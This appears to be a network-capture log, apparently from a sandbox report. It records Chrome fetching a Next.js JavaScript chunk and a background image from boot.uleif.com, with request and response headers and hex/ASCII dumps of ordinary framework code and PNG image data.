6	192.168.2.4	49743	76.76.21.21	443	2668	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:29:07 UTC	557	OUT	GET /_next/static/chunks/main-e5e349bb2d39155a.js HTTP/1.1 Host: boot.uleif.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://boot.uleif.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-11 18:29:07 UTC	575	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Age: 113061 Cache-Control: public,max-age=31536000,immutable Content-Disposition: inline; filename="main-e5e349bb2d39155a.js" Content-Length: 110774 Content-Type: application/javascript; charset=utf-8 Date: Fri, 11 Oct 2024 18:29:07 GMT Etag: "159eb7e1c478d2374874d9e6a22c5c8b" Server: Vercel Strict-Transport-Security: max-age=63072000 X-Matched-Path: /_next/static/chunks/main-e5e349bb2d39155a.js X-Vercel-Cache: HIT X-Vercel-Id: iad1::wf99r-1728671347312-d94adf7bf8b4 Connection: close
2024-10-11 18:29:07 UTC	2372	IN	Data Raw: 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 4e 5f 45 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 4e 5f 45 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 31 37 39 5d 2c 7b 34 38 37 38 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 72 28 29 7b 72 65 74 75 72 6e 22 22 7d 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 22 5f 5f 65 73 4d 6f 64 75 6c 65 22 2c 7b 76 61 6c 75 65 3a 21 30 7d 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 22 67 65 74 44 65 70 6c 6f 79 6d 65 6e 74 49 64 51 75 65 72 79 4f 72 45 6d 70 74 79 53 74 72 69 6e 67 22 2c 7b 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 Data Ascii: (self.webpackChunk_N_E=self.webpackChunk_N_E\|\|[]).push([[179],{4878:function(e,t){"use strict";function r(){return""}Object.defineProperty(t,"__esModule",{value:!0}),Object.defineProperty(t,"getDeploymentIdQueryOrEmptyString",{enumerable:!0,get:function()
2024-10-11 18:29:07 UTC	980	IN	Data Raw: 74 2d 31 3a 30 29 2c 6e 3d 31 3b 6e 3c 74 3b 6e 2b 2b 29 72 5b 6e 2d 31 5d 3d 61 72 67 75 6d 65 6e 74 73 5b 6e 5d 3b 72 65 74 75 72 6e 20 65 7d 3b 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 74 2e 64 65 66 61 75 6c 74 7c 7c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 74 2e 64 65 66 61 75 6c 74 26 26 6e 75 6c 6c 21 3d 3d 74 2e 64 65 66 61 75 6c 74 29 26 26 76 6f 69 64 20 30 3d 3d 3d 74 2e 64 65 66 61 75 6c 74 2e 5f 5f 65 73 4d 6f 64 75 6c 65 26 26 28 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2e 64 65 66 61 75 6c 74 2c 22 5f 5f 65 73 4d 6f 64 75 6c 65 22 2c 7b 76 61 6c 75 65 3a 21 30 7d 29 2c 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 28 74 2e 64 65 66 61 75 6c 74 2c 74 29 2c 65 2e 65 78 70 6f 72 74 73 3d 74 2e Data Ascii: t-1:0),n=1;n<t;n++)r[n-1]=arguments[n];return e};("function"==typeof t.default\|\|"object"==typeof t.default&&null!==t.default)&&void 0===t.default.__esModule&&(Object.defineProperty(t.default,"__esModule",{value:!0}),Object.assign(t.default,t),e.exports=t.
2024-10-11 18:29:07 UTC	4744	IN	Data Raw: 63 74 22 3b 6c 65 74 20 6e 3b 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 22 5f 5f 65 73 4d 6f 64 75 6c 65 22 2c 7b 76 61 6c 75 65 3a 21 30 7d 29 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 72 20 69 6e 20 74 29 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 72 2c 7b 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 67 65 74 3a 74 5b 72 5d 7d 29 7d 28 74 2c 7b 61 64 64 4d 65 73 73 61 67 65 4c 69 73 74 65 6e 65 72 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 69 7d 2c 63 6f 6e 6e 65 63 74 48 4d 52 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 73 7d 2c 73 65 6e 64 4d 65 73 73 61 67 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 75 7d 7d 29 3b 6c 65 74 20 Data Ascii: ct";let n;Object.defineProperty(t,"__esModule",{value:!0}),function(e,t){for(var r in t)Object.defineProperty(e,r,{enumerable:!0,get:t[r]})}(t,{addMessageListener:function(){return i},connectHMR:function(){return s},sendMessage:function(){return u}});let
2024-10-11 18:29:07 UTC	5930	IN	Data Raw: 20 5f 3d 72 28 38 37 35 34 29 2c 67 3d 72 28 35 38 39 33 29 3b 72 28 33 37 29 3b 6c 65 74 20 79 3d 5f 2e 5f 28 72 28 37 32 39 34 29 29 2c 62 3d 5f 2e 5f 28 72 28 37 34 35 29 29 2c 50 3d 72 28 31 35 31 35 29 2c 76 3d 5f 2e 5f 28 72 28 35 30 30 31 29 29 2c 45 3d 72 28 31 39 32 38 29 2c 53 3d 72 28 36 33 31 29 2c 4f 3d 72 28 39 39 33 36 29 2c 6a 3d 72 28 39 37 33 30 29 2c 77 3d 72 28 37 35 30 30 29 2c 52 3d 72 28 39 39 30 33 29 2c 54 3d 72 28 36 31 34 34 29 2c 4d 3d 5f 2e 5f 28 72 28 36 39 31 33 29 29 2c 78 3d 5f 2e 5f 28 72 28 33 34 31 39 29 29 2c 49 3d 5f 2e 5f 28 72 28 36 38 30 38 29 29 2c 43 3d 72 28 36 34 39 34 29 2c 41 3d 72 28 33 30 37 39 29 2c 4c 3d 72 28 36 37 36 29 2c 4e 3d 72 28 33 39 34 35 29 2c 44 3d 72 28 36 34 36 29 2c 6b 3d 72 28 31 31 34 39 Data Ascii: _=r(8754),g=r(5893);r(37);let y=_._(r(7294)),b=_._(r(745)),P=r(1515),v=_._(r(5001)),E=r(1928),S=r(631),O=r(9936),j=r(9730),w=r(7500),R=r(9903),T=r(6144),M=_._(r(6913)),x=_._(r(3419)),I=_._(r(6808)),C=r(6494),A=r(3079),L=r(676),N=r(3945),D=r(646),k=r(1149
2024-10-11 18:29:07 UTC	7116	IN	Data Raw: 78 22 29 2c 72 26 26 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 6e 6f 6e 63 65 22 2c 72 29 2c 64 6f 63 75 6d 65 6e 74 2e 68 65 61 64 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 65 29 2c 65 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 54 65 78 74 4e 6f 64 65 28 6f 29 29 7d 7d 29 7d 28 29 3b 6c 65 74 20 6d 3d 28 30 2c 67 2e 6a 73 78 73 29 28 67 2e 46 72 61 67 6d 65 6e 74 2c 7b 63 68 69 6c 64 72 65 6e 3a 5b 28 30 2c 67 2e 6a 73 78 29 28 65 65 2c 7b 63 61 6c 6c 62 61 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 6c 26 26 21 64 29 7b 6c 65 74 20 65 3d 6e 65 77 20 53 65 74 28 6c 2e 6d 61 70 28 65 3d 3e 65 2e 68 72 65 66 29 29 2c 74 3d 56 28 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 Data Ascii: x"),r&&e.setAttribute("nonce",r),document.head.appendChild(e),e.appendChild(document.createTextNode(o))}})}();let m=(0,g.jsxs)(g.Fragment,{children:[(0,g.jsx)(ee,{callback:function(){if(l&&!d){let e=new Set(l.map(e=>e.href)),t=V(document.querySelectorAll(
2024-10-11 18:29:07 UTC	8302	IN	Data Raw: 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2e 64 65 66 61 75 6c 74 2c 22 5f 5f 65 73 4d 6f 64 75 6c 65 22 2c 7b 76 61 6c 75 65 3a 21 30 7d 29 2c 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 28 74 2e 64 65 66 61 75 6c 74 2c 74 29 2c 65 2e 65 78 70 6f 72 74 73 3d 74 2e 64 65 66 61 75 6c 74 29 7d 2c 36 34 36 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 72 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 7d 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 22 5f 5f 65 73 4d 6f 64 75 6c 65 22 2c 7b 76 61 6c 75 65 3a 21 30 7d 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 22 72 65 6d 6f 76 65 42 61 73 65 50 61 74 68 22 2c 7b 65 6e 75 6d 65 Data Ascii: ect.defineProperty(t.default,"__esModule",{value:!0}),Object.assign(t.default,t),e.exports=t.default)},646:function(e,t,r){"use strict";function n(e){return e}Object.defineProperty(t,"__esModule",{value:!0}),Object.defineProperty(t,"removeBasePath",{enume
2024-10-11 18:29:07 UTC	6676	IN	Data Raw: 65 3a 21 30 2c 67 65 74 3a 74 5b 72 5d 7d 29 7d 28 74 2c 7b 52 6f 75 74 65 72 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 61 2e 64 65 66 61 75 6c 74 7d 2c 63 72 65 61 74 65 52 6f 75 74 65 72 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6d 7d 2c 64 65 66 61 75 6c 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 70 7d 2c 6d 61 6b 65 50 75 62 6c 69 63 52 6f 75 74 65 72 49 6e 73 74 61 6e 63 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 5f 7d 2c 75 73 65 52 6f 75 74 65 72 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 68 7d 2c 77 69 74 68 52 6f 75 74 65 72 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6c 2e 64 65 66 61 75 6c 74 7d 7d 29 3b 6c 65 74 20 6e 3d 72 28 38 37 35 34 29 2c 6f 3d 6e Data Ascii: e:!0,get:t[r]})}(t,{Router:function(){return a.default},createRouter:function(){return m},default:function(){return p},makePublicRouterInstance:function(){return _},useRouter:function(){return h},withRouter:function(){return l.default}});let n=r(8754),o=n
2024-10-11 18:29:07 UTC	10674	IN	Data Raw: 74 79 28 74 2e 64 65 66 61 75 6c 74 2c 22 5f 5f 65 73 4d 6f 64 75 6c 65 22 2c 7b 76 61 6c 75 65 3a 21 30 7d 29 2c 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 28 74 2e 64 65 66 61 75 6c 74 2c 74 29 2c 65 2e 65 78 70 6f 72 74 73 3d 74 2e 64 65 66 61 75 6c 74 29 7d 2c 31 31 35 32 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 72 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 22 5f 5f 65 73 4d 6f 64 75 6c 65 22 2c 7b 76 61 6c 75 65 3a 21 30 7d 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 22 64 65 66 61 75 6c 74 22 2c 7b 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 69 7d 7d 29 3b 6c 65 74 20 6e 3d 72 28 38 Data Ascii: ty(t.default,"__esModule",{value:!0}),Object.assign(t.default,t),e.exports=t.default)},1152:function(e,t,r){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),Object.defineProperty(t,"default",{enumerable:!0,get:function(){return i}});let n=r(8
2024-10-11 18:29:07 UTC	11860	IN	Data Raw: 74 75 72 6e 20 65 66 7d 2c 55 4e 44 45 52 53 43 4f 52 45 5f 4e 4f 54 5f 46 4f 55 4e 44 5f 52 4f 55 54 45 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 69 7d 2c 55 4e 44 45 52 53 43 4f 52 45 5f 4e 4f 54 5f 46 4f 55 4e 44 5f 52 4f 55 54 45 5f 45 4e 54 52 59 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 75 7d 7d 29 3b 6c 65 74 20 6e 3d 72 28 38 37 35 34 29 2e 5f 28 72 28 31 30 39 38 29 29 2c 6f 3d 7b 63 6c 69 65 6e 74 3a 22 63 6c 69 65 6e 74 22 2c 73 65 72 76 65 72 3a 22 73 65 72 76 65 72 22 2c 65 64 67 65 53 65 72 76 65 72 3a 22 65 64 67 65 2d 73 65 72 76 65 72 22 7d 2c 61 3d 7b 5b 6f 2e 63 6c 69 65 6e 74 5d 3a 30 2c 5b 6f 2e 73 65 72 76 65 72 5d 3a 31 2c 5b 6f 2e 65 64 67 65 53 65 72 76 65 72 5d 3a 32 7d 2c 69 3d 22 2f 5f 6e 6f 74 2d Data Ascii: turn ef},UNDERSCORE_NOT_FOUND_ROUTE:function(){return i},UNDERSCORE_NOT_FOUND_ROUTE_ENTRY:function(){return u}});let n=r(8754)._(r(1098)),o={client:"client",server:"server",edgeServer:"edge-server"},a={[o.client]:0,[o.server]:1,[o.edgeServer]:2},i="/_not-
2024-10-11 18:29:07 UTC	10234	IN	Data Raw: 64 4c 6f 63 61 6c 65 29 28 6e 2c 65 2e 6c 6f 63 61 6c 65 29 29 3b 72 65 74 75 72 6e 20 74 2e 73 6f 6d 65 28 65 3d 3e 6e 65 77 20 52 65 67 45 78 70 28 65 2e 72 65 67 65 78 70 29 2e 74 65 73 74 28 6f 29 29 7d 66 75 6e 63 74 69 6f 6e 20 44 28 65 29 7b 6c 65 74 20 74 3d 28 30 2c 64 2e 67 65 74 4c 6f 63 61 74 69 6f 6e 4f 72 69 67 69 6e 29 28 29 3b 72 65 74 75 72 6e 20 65 2e 73 74 61 72 74 73 57 69 74 68 28 74 29 3f 65 2e 73 75 62 73 74 72 69 6e 67 28 74 2e 6c 65 6e 67 74 68 29 3a 65 7d 66 75 6e 63 74 69 6f 6e 20 6b 28 65 2c 74 2c 72 29 7b 6c 65 74 5b 6e 2c 6f 5d 3d 28 30 2c 4f 2e 72 65 73 6f 6c 76 65 48 72 65 66 29 28 65 2c 74 2c 21 30 29 2c 61 3d 28 30 2c 64 2e 67 65 74 4c 6f 63 61 74 69 6f 6e 4f 72 69 67 69 6e 29 28 29 2c 69 3d 6e 2e 73 74 61 72 74 73 57 69 Data Ascii: dLocale)(n,e.locale));return t.some(e=>new RegExp(e.regexp).test(o))}function D(e){let t=(0,d.getLocationOrigin)();return e.startsWith(t)?e.substring(t.length):e}function k(e,t,r){let[n,o]=(0,O.resolveHref)(e,t,!0),a=(0,d.getLocationOrigin)(),i=n.startsWi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49747	76.76.21.21	443	2668	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:29:07 UTC	624	OUT	GET /background.jpg HTTP/1.1 Host: boot.uleif.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://boot.uleif.com/_next/static/css/bf966d2a7834ad98.css Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-11 18:29:07 UTC	509	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Age: 113061 Cache-Control: public, max-age=0, must-revalidate Content-Disposition: inline; filename="background.jpg" Content-Length: 580703 Content-Type: image/jpeg Date: Fri, 11 Oct 2024 18:29:07 GMT Etag: "ff1088d824eb1737f6d43cc1afe1a02f" Server: Vercel Strict-Transport-Security: max-age=63072000 X-Matched-Path: /background.jpg X-Vercel-Cache: HIT X-Vercel-Id: iad1::h54fp-1728671347927-9f2afba1e3f0 Connection: close
2024-10-11 18:29:07 UTC	2372	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 07 80 00 00 03 98 08 06 00 00 00 34 68 ee 23 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 12 74 00 00 12 74 01 de 66 1f 78 00 00 ff a5 49 44 41 54 78 5e ec fd 67 94 2c d7 75 26 0a ee aa eb bd 81 b9 30 17 9e f0 04 01 02 f4 a4 e8 64 48 4a 22 45 51 2d db 2d b5 ba a5 e9 a7 ee 9e 35 33 eb cd 9a 5f 63 d6 9b 35 eb fd 9a 35 6f ad 37 33 fd 5a a3 56 1b 3d 99 6e 19 8a 14 29 52 14 3d 00 3a 00 34 00 48 78 ef cd c5 f5 de 54 d5 ec 6f 9b 13 27 4e 46 64 46 56 65 56 65 55 ed 2f 6f e4 77 be ed ce 89 13 91 91 e6 dc cc 9a fa c0 cf fc c2 1c cd 03 dd 92 2c 6a 5e 3d f4 62 61 65 46 3b 96 2e 58 c4 ae 02 81 40 20 10 08 04 02 81 40 20 10 08 04 02 81 40 20 10 Data Ascii: PNGIHDR4h#sRGBgAMAapHYsttfxIDATx^g,u&0dHJ"EQ--53_c55o73ZV=n)R=:4HxTo'NFdFVeVeU/ow,j^=baeF;.X@ @ @
2024-10-11 18:29:07 UTC	1046	IN	Data Raw: cf 7f 85 a6 f6 5c 48 47 5e 7c 81 8e cf 6d a5 1b de f9 31 ba f1 ca f3 2d 73 f9 62 ff 13 ff 48 df fe fe 33 b4 e5 e2 6b e8 fa eb 6e a2 f3 77 ae a3 c3 af 3c 47 4f 3f fe 63 7a f5 c8 06 ba fd c3 9f a4 2b 2e 18 fd 67 43 a3 58 08 fe bb bf fa 23 fa f8 3f f9 3d 9a 9e 5e da ff 30 38 73 ee 1c 7d e5 0b 7f 4e 1f fd a5 7f 6e 96 6e 7b d7 e1 1b c0 e3 5d 1e 9d 3d fa 1c 3d f9 c2 7e 53 5b e9 8a 9b 6e a6 ed eb 7d 32 cf d0 eb cf 3c 46 87 4e f1 05 81 d5 96 f3 ae a5 ab 2f bb 40 5d 8c 7a ee 36 ba f2 e6 3c 77 30 62 e1 37 10 08 04 02 81 c0 4a c5 24 7c 03 f8 e5 17 f6 d1 67 fe f2 7b f4 fc 73 87 e8 d6 db f6 d2 3b df fd 26 7a f3 5b 2e a5 3d 17 6e a3 87 7e f2 32 dd f3 9d a7 69 e7 b6 75 74 fe 9e 9d 96 11 08 04 02 81 40 20 b0 38 88 6f 00 07 02 81 40 60 92 b0 ef 95 67 e9 3b 77 7e 81 4e 9c Data Ascii: \HG^\|m1-sbH3knw<GO?cz+.gCX#?=^08s}Nnn{]==~S[n}2<FN/@]z6<w0b7J$\|g{s;&z[.=n~2iut@ 8o@`g;w~N
2024-10-11 18:29:07 UTC	4744	IN	Data Raw: 7a 1e 5d b8 6d 9d c5 d5 31 7b fc 2c 3d fa a3 23 f4 a3 47 4f a6 9c f3 2e 5e 47 3f f3 b1 3d b4 25 3d e9 cc d0 9d ff e9 55 7a e2 cc ac e9 3a 3e f5 af 2e a5 dd cb fc 27 2a 02 81 40 20 b0 7c b0 94 3f 01 3d c7 2f ba fe fc 3f 7f 8d 2e bc 60 0b fd ec 2f be ab ef df ad 79 e1 99 57 e9 6f ff fa 07 f4 2f ff bb 0f f1 73 fc ea fa cf 5d af ff f8 af e8 ae 27 76 d0 c7 7e f9 e7 68 cb 8a fb cf 7b 81 40 20 10 08 4c 36 e2 27 a0 03 81 40 20 30 09 d8 f7 f2 33 f4 ed bb fe 91 3e f8 b3 9f a4 9d e7 5d 64 d6 c1 38 f4 c6 2b f4 cd af fe 1d bd f7 03 1f a5 0b 2e be d2 ac 93 8d 29 7a 9e ee fe cb 2f d2 ce 77 fc 0e bd f9 aa ee ef ff cf bc f8 0d fa fb bb 0e d2 07 7f fd 93 b4 7b cd f2 fb 7c fd e8 0b df a5 17 8f ee a2 8b f7 5e 46 5b d7 3e 4f 77 7d ee 01 ba e1 17 7e 85 2e 69 5b 8b 38 f1 08 7d Data Ascii: z]m1{,=#GO.^G?=%=Uz:>.'*@ \|?=/?.`/yWo/s]'v~h{@ L6'@ 03>]d8+.)z/w{\|^F[>Ow}~.i[8}
2024-10-11 18:29:07 UTC	5930	IN	Data Raw: fc 97 97 d0 47 df bf 9d 2e dc 3c 4d 47 5e 99 a1 af 7c 6e 3f 7d e1 ee de 9f 40 9e 5e bb b0 31 8d 0a d3 5b d6 d1 5b de b7 4b 16 9e 0f 3f 77 96 0e 9c d0 6f 01 6f cd 2e c8 eb 7c f5 d7 b0 6d 47 e5 eb 8f 69 da be bb 6b 6c 20 10 08 04 02 2b 03 0f ff e8 29 fa c6 d7 9e a4 5f f9 d5 b7 d2 c6 4d eb e9 0f ff 3f 5f a3 3f f9 a3 af d2 57 bf 78 2f dd fd d5 1f d2 7f fd 2f 5f a7 3f fa 77 df a0 e3 c7 ce d0 3f fb dd f7 d1 45 7b 07 fd f9 86 85 41 17 82 ff 05 dd 78 fe 59 fa e1 5d df 94 ff 61 79 ee f0 1b 74 6c f6 30 dd f3 f9 ff 77 5a d8 d5 ed d3 f4 da b9 ea 17 41 5e ff f1 5f 89 fd 91 b3 b7 a6 9f 71 fe e9 b7 55 ff 1b d7 b1 61 c7 ae da 0b 77 ad bf 95 b6 ef 8c d7 01 81 40 20 10 08 04 02 81 40 20 10 a8 63 cb b6 5d f2 33 b3 87 0f d4 ff f3 f1 b0 38 74 e0 55 f9 db c0 9b b7 4d de cf e8 Data Ascii: G.<MG^\|n?}@^1[[K?woo.\|mGikl +)_M?_?Wx//_?w?E{AxY]aytl0wZA^_qUaw@ @ c]38tUM
2024-10-11 18:29:08 UTC	7116	IN	Data Raw: 30 6b b6 ef 4f b5 5f 02 6e e4 f3 82 34 9d 0f a0 62 85 65 a6 fd 41 5e 8b 96 44 d3 45 be 5f 57 d3 f5 75 20 8a 7c be 49 d5 9e fc 7a 5c 62 21 30 f6 0f 76 9e 85 69 7d d9 00 2d db 34 ec aa 11 eb f3 0c c8 ee 68 ba 30 50 cd a3 e5 25 0d 68 4b e6 35 29 d7 55 9e b2 42 18 e3 73 46 43 3a 14 43 c5 82 82 3d 0e 9c 34 1b 6a f9 12 00 61 9c 8f 0f fd aa 96 70 d3 65 7c 63 7d 35 88 f6 f3 58 ea 18 6b 3f b8 f7 fa da 43 55 5f 75 c5 19 e0 76 ce c3 4b 6e 41 7e 9e c9 78 8c 81 fc f8 ce 17 5a 3d 1b 0e ea 8b 81 2d a8 6f fd 2f 14 69 ce 50 13 4d 95 3d 80 df b7 a5 00 f6 7f d8 2d 30 3c 96 ea f8 06 e6 03 9c e3 5d b6 31 40 ae 17 03 ce 95 11 9d 4b fc 68 ee b9 05 02 8b 05 3c 47 e6 b7 84 b8 54 66 8f c8 f6 5b 20 10 58 5d e8 b9 56 06 02 81 40 60 45 60 d0 eb ba 95 f2 da 2f 16 80 47 85 39 7c 03 d8 Data Ascii: 0kO_n4beA^DE_Wu \|Iz\b!0vi}-4h0P%hK5)UBsFC:C=4jape\|c}5Xk?CU_uvKnA~xZ=-o/iPM=-0<]1@Kh<GTf[ X]V@`E`/G9\|
2024-10-11 18:29:08 UTC	8302	IN	Data Raw: 7b d5 60 b5 82 b5 25 e1 cc 55 3c b3 f4 53 70 36 31 52 af 60 dd cf bc 6e 9d a5 8e c0 39 03 dc 25 77 48 73 34 9f 5f 9a e0 bc 10 f4 0c 0b f5 8d b1 ff dc 80 7b a4 c0 5c 76 b9 0d 03 9f a7 40 77 e0 fc 19 c5 39 14 08 04 96 06 78 0e d2 e7 a1 0a 83 74 60 19 03 cf 73 6d db 3c 9e 37 47 89 a5 ec 3b 10 58 6c e8 a3 2d ce f9 40 60 e5 40 9f 47 75 03 31 d7 9e 63 c5 98 6d 2d c0 fb aa e5 f4 de 4a f6 0f dc 71 1b 25 c6 5d 3f d0 08 7f fe 1a 74 5b 9d c0 63 b7 6d 1b 3d 96 7c 01 f8 89 87 8e d2 d7 be 7e 90 66 66 cc b0 00 a0 06 6a a1 e6 c4 c0 8f 5b c9 8e 45 f3 5b 23 3d 39 14 ba c7 6f 48 66 34 fc 43 60 7e 70 26 86 97 51 b2 23 85 73 83 2f f6 3d 1f fc d5 f2 b2 ba 29 11 76 46 e9 37 f6 7a 6d e3 4b fd 15 76 6e 64 1a 32 d3 fe 84 2b e3 d5 66 cd 3f 28 7f d9 f8 41 4d f6 41 79 e1 17 2d 12 6c Data Ascii: {`%U<Sp61R`n9%wHs4_{\v@w9xt`sm<7G;Xl-@`@Gu1cm-Jq%]?t[cm=\|~ffj[E[#=9oHf4C`~p&Q#s/=)vF7zmKvnd2+f?(AMAy-l
2024-10-11 18:29:08 UTC	6676	IN	Data Raw: 69 ab db e8 6f 5a f4 e4 9b 6b e9 c8 34 1b ea df fc b5 45 49 81 b1 d6 57 d6 7c d4 13 83 b0 d6 37 ad 06 a8 6a 7f 44 65 9a 1b 1a 5f 69 91 1a a0 81 20 f8 59 27 bf ad 4d d7 12 6a 01 aa 6b df c4 b4 f3 49 dd 18 9f 6a 2d d3 47 1b 2b c0 6e af 34 58 34 e2 24 de bf 59 ab 5a ec 88 cb fc d0 c2 d0 b6 d8 2e 75 79 de 85 2d bf 1a 97 6b 94 81 36 66 43 fa 1b c0 cc d5 37 c4 59 cb b8 58 e7 2c 75 aa f1 0d ae 5f 69 9c 1f 58 7c 17 d6 00 5b ec c4 fe a9 b6 84 9a 46 be 4a e4 99 46 58 3e ae 5c 23 ae 88 87 e6 46 95 cf 96 dc af 1a dd 35 6b 61 58 85 51 cf b4 c4 99 ce e3 f9 86 80 26 2d 89 80 16 d0 f3 0c 52 e6 87 e3 f3 f3 2e cb ef ab 51 97 e1 9c a3 e8 8e e3 45 0a 23 5c eb 19 a7 fa 2b 51 67 ff 29 82 b5 1e 0f d8 75 5e 4a 2d 3c 5f 7f 9b 7d 50 5e 93 bf 23 9a f2 73 34 f9 a5 be 69 28 39 4f 71 Data Ascii: ioZk4EIW\|7jDe_i Y'MjkIj-G+n4X4$YZ.uy-k6fC7YX,u_iX\|[FJFX>\#F5kaXQ&-R.QE#\+Qg)u^J-<_}P^#s4i(9Oq
2024-10-11 18:29:08 UTC	10674	IN	Data Raw: 49 e7 d0 67 b8 0a a5 2e 65 af bb 7f be 2a ef 17 fb 57 f9 75 ff 8c c5 d2 a5 5e 5d 4b 81 54 a1 7d 3e d5 5b b1 a2 3d 5e 31 58 3b 2f b4 ce b0 da 0c bd ec 10 3d a0 1e 1e af b5 fc 86 f8 a1 fc 15 e4 bc 85 2d b1 98 15 76 9d a8 71 ee 07 5c 0b c3 8f 06 e2 0d 35 7f c6 06 ad ac 5f 8a d1 7c 31 1b b2 7a 25 0b 5c 8f 1e b1 00 3c 16 54 07 4f 9f 84 fa 1c 3c 3f c6 6d 18 e0 f7 fa ca 79 7f 75 ed fe 12 ed f9 8a 64 97 fb 8a 13 7a 0c 05 5a fd 56 b7 b1 ff 0c ad f9 86 25 f1 57 f3 cb 03 e6 bb 4c 0b 8f c2 6f 18 5b fd 7e 76 50 f8 87 f1 a7 c7 8d 30 ac fc a4 c4 17 6d b1 c3 2c 71 ac 85 35 1e 2f 1e 9c 61 f6 78 7d 73 21 06 a9 a4 2f ba 34 cf 59 ea 23 bf 41 23 1a e3 d0 17 27 c6 18 47 d2 ea 97 fa ce 6c af 71 16 0f f6 fd 4b 8c 7b 8e 53 a9 5a ed 99 df b4 72 a1 2d 0f 0d 1d 1f 6b 61 cb 67 aa 